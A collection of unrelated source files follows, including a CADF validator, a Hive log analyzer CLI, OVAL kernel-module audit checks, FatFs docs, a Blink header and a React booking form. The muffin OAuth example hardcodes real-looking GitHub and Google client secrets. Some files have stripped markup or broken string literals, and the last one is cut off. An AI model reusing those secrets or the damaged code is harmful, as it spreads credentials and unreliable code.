                attachments = getattr(self, RESOURCE_KEYNAME_ATTACHMENTS)
                attachments.append(attach_val)
            else:
                raise ValueError('Invalid attachment')
        else:
            raise ValueError('Invalid attachment. Value must be an Attachment')

    # self validate this cadf:Resource type against schema
    def is_valid(self):
        return (self._isset(RESOURCE_KEYNAME_ID) and
                (self._isset(RESOURCE_KEYNAME_TYPEURI) or
                 ((getattr(self, RESOURCE_KEYNAME_ID) == "target" or
                   getattr(self, RESOURCE_KEYNAME_ID) == "initiator") and
                  len(vars(self).keys()) == 1)))
        # TODO(mrutkows): validate the Resource's attribute types


text:
$(document).ready(function() {
    $("#contributors .delete-contributor").on("click", function() {
        var element = $(this);
        $.ajax({
            url: this.dataset["remove_url"],
        }).done(function() {
            element.closest("tr").remove();
        }).fail(function (jqXHR, textStatus, errorThrown) {
            console.log(textStatus + "(" + errorThrown + "): " + jqXHR.responseText.split('\n')[0]);
            element.closest("tr").children("td.error").append(
                "
Cannot be removed, please try again later. " +
                "If the problem will proceed contact with the Bridge admin.
"
            );
        });
    });
});


text:
package pl.agh.edu.iosr.logs.analyzer;

import org.apache.commons.cli.CommandLine;
import org.apache.commons.cli.CommandLineParser;
import org.apache.commons.cli.HelpFormatter;
import org.apache.commons.cli.Options;
import org.apache.commons.cli.PosixParser;

import com.google.inject.Guice;
import com.google.inject.Injector;

/**
 * Analyzer program entry point.
 */
public class Analyzer {
	private static final String DEFAULT_TABLE_NAME = "iosr";
	private static final String DEFAULT_USER = null;
	private static final String DEFAULT_PASSWORD = null;

	public static void main(String[] args) {
		CommandLineParser parser = new PosixParser();
		Options options = new Options();
		options.addOption("t", "table-name", true, "Hive table name, defaults to "
				+ DEFAULT_TABLE_NAME);
		options.addOption("u", "username", true, "Required: Hive user name, defaults to "
				+ DEFAULT_USER);
		options.addOption("p", "password", true, "Required: Hive password, defaults to "
				+ DEFAULT_PASSWORD);
		options.addOption("h", "help", false, "Show this help");

		String tableName = DEFAULT_TABLE_NAME;
		String user = DEFAULT_USER;
		String password = DEFAULT_PASSWORD;
		try {
			CommandLine line = parser.parse(options, args);

			if (line.hasOption("table-name")) {
				tableName = line.getOptionValue("table-name");
			}
			if (line.hasOption("username")) {
				user = line.getOptionValue("username");
			} else {
				showHelp(options);
			}
			if (line.hasOption("password")) {
				password = line.getOptionValue("password");
			} else {
				showHelp(options);
			}

			if (line.hasOption("help")) {
				showHelp(options);
			}
		} catch (org.apache.commons.cli.ParseException e) {
			throw new RuntimeException(e);
		} catch (IllegalArgumentException e) {
			System.out.println("Invalid value: " + e.getMessage());
		}
		Injector injector = Guice.createInjector(new AnalyzerModule(user, password));
		LogsAnalyzer analyzer = injector.getInstance(LogsAnalyzer.class);
		analyzer.setTableName(tableName);
		analyzer.analyze();
	}

	private static void showHelp(Options options) {
		HelpFormatter formatter = new HelpFormatter();
		formatter.printHelp(Analyzer.class.getCanonicalName(), options);
		System.exit(0);
	}
}


text:
"""Adds syntax for creating habracut"""
from __future__ import absolute_import
from __future__ import unicode_literals
from markdown.extensions import Extension
from markdown.preprocessors import Preprocessor

import re

from django.utils.deconstruct import deconstructible
from django.utils.html import escape

@deconstructible
class CutExtension(Extension):
    def __init__(self, *args, **kwargs):
        """Adds habracut

        E.g. `----cut----`

        """
        self.anchor = kwargs.pop('anchor', '')
        super(CutExtension, self).__init__(*args, **kwargs)

    def extendMarkdown(self, md, md_globals):
        """Add FencedBlockPreprocessor to the Markdown instance

        :param md: Current markdown instance.
        :param md_globals: Global markdown vars.

        """
        md.registerExtension(self)

        if 'fenced_code_block' in md.preprocessors:
            md.preprocessors.add('cut',
                                 CutPreprocessor(md, anchor=self.anchor),
                                 ">fenced_code_block")
        else:
            md.preprocessors.add('cut',
                                 CutPreprocessor(md, anchor=self.anchor),
                                 ">normalize_whitespace")

class CutPreprocessor(Preprocessor):
    def __init__(self, *args, **kwargs):
        """Main fenced code block renderer"""
        self.anchor = kwargs.pop('anchor', '')
        super(CutPreprocessor, self).__init__(*args, **kwargs)

    block_re = re.compile(
        r'-{4,}[ ]*'
        r'cut[ ]*(here)?[ ]*'
        r'(\{\{(?P
[^\}]+)\}\})?'
        r'[ ]*-{4,}', re.MULTILINE | re.DOTALL | re.VERBOSE | re.IGNORECASE)

    def run(self, lines):
        """Match cut tags and store them in the htmlStash

        :param lines: Lines of code.

        """

        text = '\n'.join(lines)

        m = self.block_re.search(text)

        if m is not None:
            if 'caption' in m.groupdict() and m.groupdict()['caption'] is not None:
                html = '' % escape(m.groupdict()['caption'])
            else:
                html = ''

            if self.anchor:
                html += '' % escape(self.anchor)

            placeholder = self.markdown.htmlStash.store(html,
                                                        safe=True)

            text = '%s\n%s\n%s' % (text[:m.start()],
                                   placeholder,
                                   text[m.end():])

        return text.split('\n')


text:
<def-group>
  <definition class="compliance" id="audit_rules_kernel_module_loading" version="1">
    <metadata>
      <title>Audit Kernel Module Loading and Unloading</title>
      <affected family="unix">
        <platform>Red Hat Enterprise Linux 7</platform>
        <platform>multi_platform_fedora</platform>
      </affected>
      <description>The audit rules should be configured to log information about kernel module loading and unloading.</description>
      <reference source="JL" ref_id="RHEL7_20150325" ref_url="test_attestation" />
      <reference source="JL" ref_id="FEDORA20_20150325" ref_url="test_attestation" />
    </metadata>
    <criteria operator="OR">
      <!-- First check the default configuraton: 'augenrules' tool specified in 'ExecStartPost' directive of
           /usr/lib/systemd/system/auditd.service (in other words case when final /etc/audit/audit.rules
           configuration is generated from *.rules files' content present in the /etc/audit/rules.d directory) -->
      <criteria operator="AND">
        <criterion comment="audit augenrules" test_ref="test_audit_rule_kernel_module_loading_augenrules" />
        <criterion comment="audit augenrules insmod" test_ref="test_audit_rule_kernel_module_loading_insmod_augenrules" />
        <criterion comment="audit augenrules rmmod" test_ref="test_audit_rule_kernel_module_loading_rmmod_augenrules" />
        <criterion comment="audit augenrules modprobe" test_ref="test_audit_rule_kernel_module_loading_modprobe_augenrules" />
        <criterion comment="audit augenrules module syscalls" test_ref="test_audit_rule_kernel_module_loading_syscall_augenrules" />
      </criteria>
      <!-- Check the modified configuration: 'auditctl' tool specified in 'ExecStartPost' directive of
           /usr/lib/systemd/system/auditd.service (in other words case when final /etc/audit/audit.rules is
           just loaded by 'auditctl' tool into memory) -->
      <criteria operator="AND">
        <criterion comment="audit auditctl" test_ref="test_audit_rule_kernel_module_loading_auditctl" />
        <criterion comment="audit auditctl insmod" test_ref="test_audit_rule_kernel_module_loading_insmod_auditctl" />
        <criterion comment="audit auditctl rmmod" test_ref="test_audit_rule_kernel_module_loading_rmmod_auditctl" />
        <criterion comment="audit auditctl modprobe" test_ref="test_audit_rule_kernel_module_loading_modprobe_auditctl" />
        <criterion comment="audit auditctl module syscalls" test_ref="test_audit_rule_kernel_module_loading_syscall_auditctl" />
      </criteria>
    </criteria>
  </definition>

  <!-- Test the augenrules case -->
  <ind:textfilecontent54_test check="all" comment="audit augenrules" id="test_audit_rule_kernel_module_loading_augenrules" version="1">
    <ind:object object_ref="object_audit_rule_kernel_module_loading_augenrules" />
  </ind:textfilecontent54_test>
  <ind:textfilecontent54_object id="object_audit_rule_kernel_module_loading_augenrules" version="1">
    <ind:filepath>/usr/lib/systemd/system/auditd.service</ind:filepath>
    <ind:pattern operation="pattern match">^ExecStartPost=\-\/sbin\/augenrules.*$</ind:pattern>
    <ind:instance datatype="int" operation="greater than or equal">1</ind:instance>
  </ind:textfilecontent54_object>
  <ind:textfilecontent54_test check="all" comment="audit augenrules insmod" id="test_audit_rule_kernel_module_loading_insmod_augenrules" version="1">
    <ind:object object_ref="object_audit_rule_kernel_module_loading_insmod_augenrules" />
  </ind:textfilecontent54_test>
  <ind:textfilecontent54_object id="object_audit_rule_kernel_module_loading_insmod_augenrules" version="1">
    <ind:filepath operation="pattern match">/etc/audit/rules\.d/.*\.rules</ind:filepath>
    <ind:pattern operation="pattern match">^\-w[\s]+/usr/sbin/insmod[\s]+\-p[\s]+\b([raw]*x[raw]*)\b[\s]+\-k[\s]+[-\w]+[\s]*$</ind:pattern>
    <ind:instance datatype="int">1</ind:instance>
  </ind:textfilecontent54_object>
  <ind:textfilecontent54_test check="all" comment="audit augenrules rmmod" id="test_audit_rule_kernel_module_loading_rmmod_augenrules" version="1">
    <ind:object object_ref="object_audit_rule_kernel_module_loading_rmmod_augenrules" />
  </ind:textfilecontent54_test>
  <ind:textfilecontent54_object id="object_audit_rule_kernel_module_loading_rmmod_augenrules" version="1">
    <ind:filepath operation="pattern match">/etc/audit/rules\.d/.*\.rules</ind:filepath>
    <ind:pattern operation="pattern match">^\-w[\s]+/usr/sbin/rmmod[\s]+\-p[\s]+\b([raw]*x[raw]*)\b[\s]+\-k[\s]+[-\w]+[\s]*$</ind:pattern>
    <ind:instance datatype="int">1</ind:instance>
  </ind:textfilecontent54_object>
  <ind:textfilecontent54_test check="all" comment="audit augenrules modprobe" id="test_audit_rule_kernel_module_loading_modprobe_augenrules" version="1">
    <ind:object object_ref="object_audit_rule_kernel_module_loading_modprobe_augenrules" />
  </ind:textfilecontent54_test>
  <ind:textfilecontent54_object id="object_audit_rule_kernel_module_loading_modprobe_augenrules" version="1">
    <ind:filepath operation="pattern match">/etc/audit/rules\.d/.*\.rules</ind:filepath>
    <ind:pattern operation="pattern match">^\-w\s+/usr/sbin/modprobe[\s]+\-p[\s]+\b([raw]*x[raw]*)\b[\s]+\-k[\s]+[-\w]+[\s]*$</ind:pattern>
    <ind:instance datatype="int">1</ind:instance>
  </ind:textfilecontent54_object>
  <ind:textfilecontent54_test check="all" comment="audit augenrules module syscalls" id="test_audit_rule_kernel_module_loading_syscall_augenrules" version="1">
    <ind:object object_ref="object_audit_rule_kernel_module_loading_syscall_augenrules" />
  </ind:textfilecontent54_test>
  <ind:textfilecontent54_object id="object_audit_rule_kernel_module_loading_syscall_augenrules" version="1">
    <ind:filepath operation="pattern match">/etc/audit/rules\.d/.*\.rules</ind:filepath>
    <ind:pattern operation="pattern match">^\-a\s+always,exit\s+(\-F\s+arch=(b64|b32)\s+)?\-S\s+init_module\s+\-S\s+delete_module\s+\-k\s+[-\w]+\s*$</ind:pattern>
    <ind:instance datatype="int">1</ind:instance>
  </ind:textfilecontent54_object>

  <!-- Test the auditctl case -->
  <ind:textfilecontent54_test check="all" comment="audit auditctl" id="test_audit_rule_kernel_module_loading_auditctl" version="1">
    <ind:object object_ref="object_audit_rule_kernel_module_loading_auditctl" />
  </ind:textfilecontent54_test>
  <ind:textfilecontent54_object id="object_audit_rule_kernel_module_loading_auditctl" version="1">
    <ind:filepath>/usr/lib/systemd/system/auditd.service</ind:filepath>
    <ind:pattern operation="pattern match">^ExecStartPost=\-\/sbin\/auditctl.*$</ind:pattern>
    <ind:instance datatype="int" operation="greater than or equal">1</ind:instance>
  </ind:textfilecontent54_object>
  <ind:textfilecontent54_test check="all" comment="audit auditctl insmod" id="test_audit_rule_kernel_module_loading_insmod_auditctl" version="1">
    <ind:object object_ref="object_audit_rule_kernel_module_loading_insmod_auditctl" />
  </ind:textfilecontent54_test>
  <ind:textfilecontent54_object id="object_audit_rule_kernel_module_loading_insmod_auditctl" version="1">
    <ind:filepath>/etc/audit/audit.rules</ind:filepath>
    <ind:pattern operation="pattern match">^\-w[\s]+/usr/sbin/insmod[\s]+\-p[\s]+\b([raw]*x[raw]*)\b[\s]+\-k[\s]+[-\w]+[\s]*$</ind:pattern>
    <ind:instance datatype="int">1</ind:instance>
  </ind:textfilecontent54_object>
  <ind:textfilecontent54_test check="all" comment="audit auditctl rmmod" id="test_audit_rule_kernel_module_loading_rmmod_auditctl" version="1">
    <ind:object object_ref="object_audit_rule_kernel_module_loading_rmmod_auditctl" />
  </ind:textfilecontent54_test>
  <ind:textfilecontent54_object id="object_audit_rule_kernel_module_loading_rmmod_auditctl" version="1">
    <ind:filepath>/etc/audit/audit.rules</ind:filepath>
    <ind:pattern operation="pattern match">^\-w[\s]+/usr/sbin/rmmod[\s]+\-p[\s]+\b([raw]*x[raw]*)\b[\s]+\-k[\s]+[-\w]+[\s]*$</ind:pattern>
    <ind:instance datatype="int">1</ind:instance>
  </ind:textfilecontent54_object>
  <ind:textfilecontent54_test check="all" comment="audit auditctl modprobe" id="test_audit_rule_kernel_module_loading_modprobe_auditctl" version="1">
    <ind:object object_ref="object_audit_rule_kernel_module_loading_modprobe_auditctl" />
  </ind:textfilecontent54_test>
  <ind:textfilecontent54_object id="object_audit_rule_kernel_module_loading_modprobe_auditctl" version="1">
    <ind:filepath>/etc/audit/audit.rules</ind:filepath>
    <ind:pattern operation="pattern match">^\-w\s+/usr/sbin/modprobe[\s]+\-p[\s]+\b([raw]*x[raw]*)\b[\s]+\-k[\s]+[-\w]+[\s]*$</ind:pattern>
    <ind:instance datatype="int">1</ind:instance>
  </ind:textfilecontent54_object>
  <ind:textfilecontent54_test check="all" comment="audit auditctl module syscalls" id="test_audit_rule_kernel_module_loading_syscall_auditctl" version="1">
    <ind:object object_ref="object_audit_rule_kernel_module_loading_syscall_auditctl" />
  </ind:textfilecontent54_test>
  <ind:textfilecontent54_object id="object_audit_rule_kernel_module_loading_syscall_auditctl" version="1">
    <ind:filepath>/etc/audit/audit.rules</ind:filepath>
    <ind:pattern operation="pattern match">^\-a\s+always,exit\s+(\-F\s+arch=(b64|b32)\s+)?\-S\s+init_module\s+\-S\s+delete_module\s+\-k\s+[-\w]+\s*$</ind:pattern>
    <ind:instance datatype="int">1</ind:instance>
  </ind:textfilecontent54_object>

</def-group>


text:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">

<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<meta http-equiv="Content-Style-Type" content="text/css">
<link rel="up" title="FatFs" href="../00index_e.html">
<link rel="alternate" hreflang="ja" title="Japanese" href="../ja/setlabel.html">
<link rel="stylesheet" href="../css_e.css" type="text/css" media="screen" title="ELM Default">
<title>FatFs - f_setlabel</title>

f_setlabel

The f_setlabel function sets/removes the label of a volume.

FRESULT f_setlabel (
  const TCHAR* label  /* [IN] Volume label to be set */
);

Parameters

label

Pointer to the null-terminated string that specifies the volume label to be set.

Return Values

FR_OK,
FR_DISK_ERR,
FR_INT_ERR,
FR_NOT_READY,
FR_INVALID_NAME,
FR_WRITE_PROTECTED,
FR_INVALID_DRIVE,
FR_NOT_ENABLED,
FR_NO_FILESYSTEM,
FR_TIMEOUT

Description

When the string has a drive number, the volume label will be set to the volume specified by the drive number. If not, the volume label will be set to the default drive. If length of the given volume label is zero, the volume label on the volume will be removed. The format of the volume label on the FAT volume is similar to the file name but there are some differences shown below:

Period is not allowed.

Spaces can be contained anywhere in the volume label. Trailing spaces are truncated off at FAT volume.

Up to 11 bytes long as conversion of OEM code page at FAT volume.

Up to 11 characters long at exFAT volume. Lower case is preserved.

Remark: The standard system (Windows) has a problem at the volume label with a heading <tt>\xE5</tt> on the FAT volume. To avoid this problem, this function rejects such volume label as invalid name.

QuickInfo

Available when <tt>FF_FS_READONLY == 0</tt> and <tt>FF_USE_LABEL == 1</tt>.

Example

    /* Set volume label to the default drive */
    f_setlabel("DATA DISK");

    /* Set volume label to the drive 2 */
    f_setlabel("2:DISK 3 OF 4");

    /* Remove volume label of the drive 2 */
    f_setlabel("2:");

See Also

<tt>f_getlabel</tt>

Return


text:
#ifndef FileSystemCallbacks_h
#define FileSystemCallbacks_h

#include "modules/filesystem/EntriesCallback.h"
#include "platform/AsyncFileSystemCallbacks.h"
#include "platform/FileSystemType.h"
#include "wtf/PassRefPtr.h"
#include "wtf/Vector.h"
#include "wtf/text/WTFString.h"

namespace WebCore {

class DOMFileSystemBase;
class DirectoryReaderBase;
class EntriesCallback;
class EntryCallback;
class ErrorCallback;
struct FileMetadata;
class FileSystemCallback;
class FileWriterBase;
class FileWriterBaseCallback;
class MetadataCallback;
class ExecutionContext;
class VoidCallback;

class FileSystemCallbacksBase : public AsyncFileSystemCallbacks {
public:
    virtual ~FileSystemCallbacksBase();

    // For ErrorCallback.
    virtual void didFail(int code) OVERRIDE;

    // Other callback methods are implemented by each subclass.

protected:
    FileSystemCallbacksBase(PassOwnPtr<ErrorCallback>, DOMFileSystemBase*);
    OwnPtr<ErrorCallback> m_errorCallback;
    DOMFileSystemBase* m_fileSystem;
};

// Subclasses ----------------------------------------------------------------

class EntryCallbacks : public FileSystemCallbacksBase {
public:
    static PassOwnPtr<AsyncFileSystemCallbacks> create(PassOwnPtr<EntryCallback>, PassOwnPtr<ErrorCallback>, PassRefPtr<DOMFileSystemBase>, const String& expectedPath, bool isDirectory);
    virtual void didSucceed();

private:
    EntryCallbacks(PassOwnPtr<EntryCallback>, PassOwnPtr<ErrorCallback>, PassRefPtr<DOMFileSystemBase>, const String& expectedPath, bool isDirectory);
    OwnPtr<EntryCallback> m_successCallback;
    String m_expectedPath;
    bool m_isDirectory;
};

class EntriesCallbacks : public FileSystemCallbacksBase {
public:
    static PassOwnPtr<AsyncFileSystemCallbacks> create(PassOwnPtr<EntriesCallback>, PassOwnPtr<ErrorCallback>, PassRefPtr<DirectoryReaderBase>, const String& basePath);
    virtual void didReadDirectoryEntry(const String& name, bool isDirectory);
    virtual void didReadDirectoryEntries(bool hasMore);

private:
    EntriesCallbacks(PassOwnPtr<EntriesCallback>, PassOwnPtr<ErrorCallback>, PassRefPtr<DirectoryReaderBase>, const String& basePath);
    OwnPtr<EntriesCallback> m_successCallback;
    RefPtr<DirectoryReaderBase> m_directoryReader;
    String m_basePath;
    EntryVector m_entries;
};

class FileSystemCallbacks : public FileSystemCallbacksBase {
public:
    static PassOwnPtr<AsyncFileSystemCallbacks> create(PassOwnPtr<FileSystemCallback>, PassOwnPtr<ErrorCallback>, ExecutionContext*, FileSystemType);
    virtual void didOpenFileSystem(const String& name, const KURL& rootURL);

private:
    FileSystemCallbacks(PassOwnPtr<FileSystemCallback>, PassOwnPtr<ErrorCallback>, ExecutionContext*, FileSystemType);
    OwnPtr<FileSystemCallback> m_successCallback;
    RefPtr<ExecutionContext> m_executionContext;
    FileSystemType m_type;
};

class ResolveURICallbacks : public FileSystemCallbacksBase {
public:
    static PassOwnPtr<AsyncFileSystemCallbacks> create(PassOwnPtr<EntryCallback>, PassOwnPtr<ErrorCallback>, ExecutionContext*);
    virtual void didResolveURL(const String& name, const KURL& rootURL, FileSystemType, const String& filePath, bool isDirectry);

private:
    ResolveURICallbacks(PassOwnPtr<EntryCallback>, PassOwnPtr<ErrorCallback>, ExecutionContext*);
    OwnPtr<EntryCallback> m_successCallback;
    RefPtr<ExecutionContext> m_executionContext;
};

class MetadataCallbacks : public FileSystemCallbacksBase {
public:
    static PassOwnPtr<AsyncFileSystemCallbacks> create(PassOwnPtr<MetadataCallback>, PassOwnPtr<ErrorCallback>, DOMFileSystemBase*);
    virtual void didReadMetadata(const FileMetadata&);

private:
    MetadataCallbacks(PassOwnPtr<MetadataCallback>, PassOwnPtr<ErrorCallback>, DOMFileSystemBase*);
    OwnPtr<MetadataCallback> m_successCallback;
};

class FileWriterBaseCallbacks : public FileSystemCallbacksBase {
public:
    static PassOwnPtr<AsyncFileSystemCallbacks> create(PassRefPtr<FileWriterBase>, PassOwnPtr<FileWriterBaseCallback>, PassOwnPtr<ErrorCallback>);
    virtual void didCreateFileWriter(PassOwnPtr<blink::WebFileWriter>, long long length);

private:
    FileWriterBaseCallbacks(PassRefPtr<FileWriterBase>, PassOwnPtr<FileWriterBaseCallback>, PassOwnPtr<ErrorCallback>);
    RefPtr<FileWriterBase> m_fileWriter;
    OwnPtr<FileWriterBaseCallback> m_successCallback;
};

class VoidCallbacks : public FileSystemCallbacksBase {
public:
    static PassOwnPtr<AsyncFileSystemCallbacks> create(PassOwnPtr<VoidCallback>, PassOwnPtr<ErrorCallback>, DOMFileSystemBase*);
    virtual void didSucceed();

private:
    VoidCallbacks(PassOwnPtr<VoidCallback>, PassOwnPtr<ErrorCallback>, DOMFileSystemBase*);
    OwnPtr<VoidCallback> m_successCallback;
};

} // namespace

#endif // FileSystemCallbacks_h


text:
<?php

namespace SiteBundle\Entity;

use Doctrine\ORM\Mapping as ORM;

/**
 * File
 *
 * @ORM\Table(name="file")
 * @ORM\Entity()
 */
class File
{
    /**
     * @var int
     *
     * @ORM\Column(name="id", type="integer")
     * @ORM\Id
     * @ORM\GeneratedValue(strategy="AUTO")
     */
    private $id;

    /**
     * @var string
     *
     * @ORM\Column(name="relative_path", type="string", length=255, unique=true)
     */
    private $relativePath;

    /**
     * @var string
     *
     * @ORM\Column(name="absolute_path", type="string", length=255, unique=true)
     */
    private $absolutePath;

    /**
     * @var string
     *
     * @ORM\Column(name="name", type="string", length=255)
     */
    private $name;

    /**
     * @var string
     *
     * @ORM\Column(name="size", type="string", length=255)
     */
    private $size;

    public function __toString()
    {
        return $this->getName();
    }

    /**
     * Get id
     *
     * @return int
     */
    public function getId()
    {
        return $this->id;
    }

    /**
     * Set relative path
     *
     * @param string $relativePath
     *
     * @return File
     */
    public function setRelativePath($relativePath)
    {
        $this->relativePath = $relativePath;

        return $this;
    }

    /**
     * Get relative path
     *
     * @return string
     */
    public function getRelativePath()
    {
        return $this->relativePath;
    }

    /**
     * Set absolute path
     *
     * @param string $absolutePath
     *
     * @return File
     */
    public function setAbsolutePath($absolutePath)
    {
        $this->absolutePath = $absolutePath;

        return $this;
    }

    /**
     * Get absolute path
     *
     * @return string
     */
    public function getAbsolutePath()
    {
        return $this->absolutePath;
    }

    /**
     * Set name
     *
     * @param string $name
     *
     * @return File
     */
    public function setName($name)
    {
        $this->name = $name;

        return $this;
    }

    /**
     * Get name
     *
     * @return string
     */
    public function getName()
    {
        return $this->name;
    }

    /**
     * Set size
     *
     * @param string $size
     *
     * @return File
     */
    public function setSize($size)
    {
        $this->size = $size;

        return $this;
    }

    /**
     * Get size
     *
     * @return string
     */
    public function getSize()
    {
        return $this->size;
    }
}


text:
"""Example application.

Requirements:
    uvicorn

Run the example with uvicorn:

    $ uvicorn --port 5000 example:app

"""

import muffin
import muffin_oauth
import muffin_session
import html
from pprint import pformat

app = muffin.Application(
    'oauth', DEBUG=True,
    OAUTH_CLIENTS={
        'github': {
            'client_id': 'b6281b6fe88fa4c313e6',
            'client_secret': '21ff23d9f1cad775daee6a38d230e1ee05b04f7c',
            'scope': 'user:email',
        },
        'google': {
            'client_id': '150775235058-9fmas709maee5nn053knv1heov12sh4n.apps.googleusercontent.com',  # noqa
            'client_secret': 'df3JwpfRf8RIBz-9avNW8Gx7',
            'scope': 'profile email',
        },
    })

session = muffin_session.Plugin(app, secret_key='Example')
oauth = muffin_oauth.Plugin(app)

@app.route('/')
async def index(request):
    """Index Page."""
    return """
        <link rel="stylesheet"
            href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" />

Muffin OAuth Example

                    Login with Github

                    Login with Google

    """

@app.route('/oauth/{provider}')
async def oauth_info(request):
    """Oauth example."""
    provider = request.path_params.get('provider')
    client, *_ = await oauth.login(provider, request)
    user, data = await client.user_info()
    return f"""
        <link rel="stylesheet"
            href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" />

Muffin OAuth Example ({ client.name })

            Return back

 ID 	 { user.id }

 Username 	 { user.username }

First, last name	{ user.first_name }, { user.last_name }

Gender	 { user.gender }

Email	 { user.email }

Link	 { user.link }

Picture	 { user.picture }

Country, City	 { user.country }, { user.city }

Raw data

{ html.escape(pformat(data)) }

    """


text:
import React from 'react';
import {connect} from 'dva';
import {Row, Col, Form, DatePicker, Input, Radio, Select, Button, notification, Modal, Checkbox} from 'antd';
import {action, model, fun, config, modular} from '../../common';
import {OrderStep, BaseInfo, ResidentInfoTable, PayModal} from '../../components';
import styles from './Newborn.less';

const moduleName = modular.getModuleName( modular.newborn );
const FormItem = Form.Item;
const RadioGroup = Radio.Group;
const RangePicker = DatePicker.RangePicker;

let residentInfoTable;
let baseInfo;
let payModal;

let entrustNumber;

const Newborn = ( {
	loading,
	appModel,
	bookingAgentModel,
	form,
	onSubmit,
	changeConfirmState,
	showModal,
	openNotificationWithIcon,
} ) => {
	const { validateFieldsAndScroll, getFieldDecorator } = form;
	const { doctorId, doctorName, doctorTel, remainingBalance } = appModel.user;
	const { currentStep, display, disabled, displayConfirm, submitDisabled, displayBack, displayNew } = bookingAgentModel;

	const handleSubmit = ( expenseAccount ) => {
		baseInfo.validateFieldsAndScroll( ( errOut, valuesOut ) => {
			if ( !errOut ) {
				validateFieldsAndScroll( ( err, values ) => {
					if ( !err ) {
						onSubmit( {
							data: Object.assign( {}, values, valuesOut, { doctorId, doctorName, doctorTel }, { expenseAccount: expenseAccount } ),
							fun: openNotificationWithIcon
						} );
					}
				} );
			}
		} );
	};

	const validAndConfirm = () => {
		baseInfo.validateFieldsAndScroll( ( err, values ) => {
			if ( !err ) {
				validateFieldsAndScroll( ( err ) => {
					if ( !err ) {
						entrustNumber = residentInfoTable.getData().length;
						//TODO 如果居民信息样本为空的提示
						changeConfirmState();
					}
				} );
			}
		} );
	};
	const baseInfoProps = {
		...appModel.user,
		entrustNumber: entrustNumber,
		display: display,
		disabled: disabled,
	};

	const payModalProps = {
		handleSubmit: handleSubmit,
		remainingBalance: remainingBalance,
	};

	return (

			<PayModal ref={e => ( payModal = e )} {...payModalProps}/>

预约新生儿家庭访视委托表

			<OrderStep currentStep={currentStep}/>
			<Form onSubmit={showModal}>
				<BaseInfo {...baseInfoProps} ref={e => ( baseInfo = e )}/>

需求说明

						<FormItem {...config.formItemLayout} label="访视检查内容">
							{getFieldDecorator( 'examineContent', {
								rules: [
									{
										required: true,
										message: '请输入访视检查内容!'
									},
								],
							} )( <Input type="textarea" rows={4} placeholder="请在此输入访视检查内容" disabled={disabled}/> )}
						</FormItem>
						<FormItem label="上午访视时间" {...config.formItemLayout}
						          help="时间需精确到小时(日期选择里可以切换时间显示,默认使用当前的时间)">
							{getFieldDecorator( 'allowDate_am', {
								rules: [
									{
										required: true,
										type: 'array',
										message: '请选择一个时间段,精确到小时!'
									},
								],
							} )( <RangePicker size="small" showTime format="YYYY-MM-DD HH:00" disabled={disabled}/> )}
						</FormItem>
						<FormItem label="下午访视时间" {...config.formItemLayout}
						          help="时间需精确到小时(日期选择里可以切换时间显示,默认使用当前的时间)">
							{getFieldDecorator( 'allowDate_pm', {
								rules: [
									{
										required: true,
										type: 'array',
										message: '请选择一个时间段,精确到小时!'
									},
								],
							} )( <RangePicker size="small" showTime format="YYYY-MM-DD HH:00" disabled={disabled}/> )}
						</FormItem>
						<FormItem {...config.formItemLayout} label="是否收费">
							{getFieldDecorator( 'isCharge', { initialValue: 0 } )(
								<RadioGroup disabled={disabled}>
									<Radio value={1}>是</Radio>
									<Radio value={0}>否</Radio>
								</RadioGroup>
							)}
						</FormItem>
						<FormItem label="预约人数" {...config.formItemLayout}>
							{getFieldDecorator( 'appointmentNumberIllustration', {
								rules: [
									{
										required: true,
										message: '必须填写预约人数!'
									},
								],
							} )( <Input placeholder="如:上午可预约3人,下午可预约5人" disabled={disabled}/> )}
						</FormItem>

				<ResidentInfoTable name={modular.newborn.name} ref={e => ( residentInfoTable = e )}/>

					<Button size="large" type="primary" onClick={validAndConfirm}>提交我的委托单信息</Button>

					<Row>
						<Col span={12}>
							<Button size="large" type="primary" htmlType="submit" style={{ width: 200 }} disabled={submitDisabled} loading={loading}>确认委托并支付</Button>
						</Col>
						<Col span={12}>
							<Button size="large" type="primary" style={{ width: 200, display: displayBack }} onClick={validAndConfirm}>返回修改</Button>
							<Button size="large" type="primary" style={{ width: 200, display: displayNew }} onClick={function () {location.reload()}}>新建委托单</Button>
						</Col>
					</Row>

			</Form>

	);
};

const mapStateToProps = ( state ) => {
	fun.print( state, 'state', moduleName );
	return {
		...state,
		loading: state.loading.models.appModel,
	};
};

const mapDispatchToProps = ( dispatch ) => {
	return {
		onSubmit: ( values ) => {
			let residentInfo = residentInfoTable.getData();
			values.data.entrustNumber = residentInfo.length;
			values.data.residentQueryDtoList = residentInfo;
			dispatch( { type: fun.fuse( model.bookingAgent, action.BA_saveNewBorn ), payload: values } );
		},
		changeConfirmState: () => {
			dispatch( { type: fun.fuse( model.bookingAgent, action.BA_changeConfirmState ) } );
		},
		showModal: ( e ) => {
			e.preventDefault();
			dispatch( {
				type: fun.fuse( model.app, action.APP_getItemPrice ),
				payload: { itemId: modular.newborn.ritRef, fun: payModal.showModal }
			} );
		},
		openNotificationWithIcon: ( data ) => {
			payModal.handleOver();
			if ( data.success ) {
				notification[ 'success' ]( {
					message: '提交成功',
				} );
			} else {
				Modal.error( {
					title: data.message,
				} );
			}
		},
	}
};
export default connect( mapStateToProps, mapDispatchToProps )( Form.create()( Newborn ) );


text:
package com.github.teamcalendar.middleware.services.impl;

import java.util.ArrayList;
import java.util.List;

import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import org.springframework.util.CollectionUtils;

import com.github.teamcalendar.dao.EventTypeDAO;
import com.github.teamcalendar.domain.EventTypeEntity;
import com.github.teamcalendar.domain.GroupEntity;
import com.github.teamcalendar.middleware.dto.EventType;
import com.github.teamcalendar.middleware.services.EventTypeService;
import com.github.teamcalendar.middleware.utils.MapperService;

/**
 * @author Artem Ivanov
 *
 */
@Service("eventTypeService")
@Transactional
public class EventTypeServiceImpl implements EventTypeService
{
    private static final Logger LOG = LoggerFactory.getLogger(GroupEntity.class);

    @Autowired
    EventTypeDAO                dao;

    /**
     * @param eventType
     *            if a null object parameter is passed to method, nothing will happen
     * @return true in case of operation success
     */
    public boolean addEventType(EventType eventType)
    {
        if (eventType == null)
        {
            return false;
        }
        try
        {
